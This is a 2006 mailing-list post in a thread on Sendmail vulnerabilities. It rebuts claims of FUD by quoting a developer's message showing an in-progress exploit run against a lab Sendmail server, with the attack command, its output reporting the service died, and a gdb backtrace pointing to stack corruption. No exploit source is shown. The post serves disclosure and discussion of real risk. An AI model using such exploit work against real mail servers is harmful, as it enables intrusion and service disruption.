FUD and exploit code [was: Re: SendGate: Sendmail Multiple Vulnerabilities]

Sun Mar 26 01:07:38 UTC 2006

Christopher L. Morrow wrote:
> I think this is the FUD brandon is speaking of... it's not helpful, please
> stop.

Okay, if you insist we talk of exploits here, I take back the "talk 
after the first worm".

Go to the dailydave mailing list, you will see a discussion with 2 
exploit codes posted thus far. One is in the works but past POC, the 
other is pretty much done and was also posted on FD.

So much for FUD.

One example from the discussion:
--------------------------------
A lot of people have been saying "this could never happen, DoS, etc
etc."  I have a feeling part of that is because IDS's can't detect
concurrency bugs. Maybe an IPS could try to detect them, but generally
they don't maintain timing information. I could be wrong here, of
course. Every IDS can detect everything, if you listen to the noise on
the focus-ids mailing list. Hmm. I guess you could try - but you'd
have to store state, and it's not going to be easy. On that other
hand, maybe it's not related to IDS's at all. Maybe learning C is just
too damn hard for the CISSP crew and they don't believe what they
can't see. So let's try to "Illustrate True Risk" with Immunity CANVAS
[tm]. (To put it in the business language everyone can understand) ;>

Here's the attempt against my instrumented sendmail (right now I
always win races, but the important thing is to SEE the race happening
at this stage):

bash-3.00$ exploits/sendmail_timeout/sendmail_timeout.py -t
172.16.79.130 -v 1
[C] Recved: 250 2.1.0 root at 172.16.79.130... Sender ok
[C] Recved: 250 2.1.5 root... Recipient ok
[C] Recved: 354 Enter mail, end with "." on a line by itself
[C] Triggered timeout - continuing to sleep
[C] Sending attack string
Traceback (most recent call last):
   File "exploits/sendmail_timeout/sendmail_timeout.py", line 257, in run
     self.doattack(timeout)
   File "exploits/sendmail_timeout/sendmail_timeout.py", line 234, in
doattack
     s.sendall("\r\n")
   File "<string>", line 1, in sendall
error: (104, 'Connection reset by peer')
[C] Attack reported no open socket - service died?
[C] ID: 0 Setinfo: > sendmail_timeout attacking 172.16.79.130:25 -
done (failed?) <

And here's the result. If I had to guess, I'd say stack corruption.
I'm adding it to our Partner's page now, so no doubt their much larger
teams will be able to push this towards completion over the weekend,
while I'm changing diapers and reading up on baby-sign-language.

(gdb) x/2i $pc
0x400e6903 <strlen+51>: mov    (%eax),%ecx
0x400e6905 <strlen+53>: mov    $0xfefefeff,%edx
(gdb) print/x $eax
$1 = 0x63202c34 <--that can't be right.

(gdb) where
#0  0x400e6903 in strlen () from /lib/tls/libc.so.6
#1  0x080ad3fb in sm_io_vfprintf ()
#2  0x080ae3f9 in sm_vsnprintf ()
#3  0x0805500e in sm_syslog ()
#4  0x36312e32 in ?? () <---hey, that's not right! :>
#5  0x2e39372e in ?? ()
#6  0x2c303331 in ?? ()
#7  0x7a697320 in ?? ()
#8  0x31353d65 in ?? ()
...

- -dave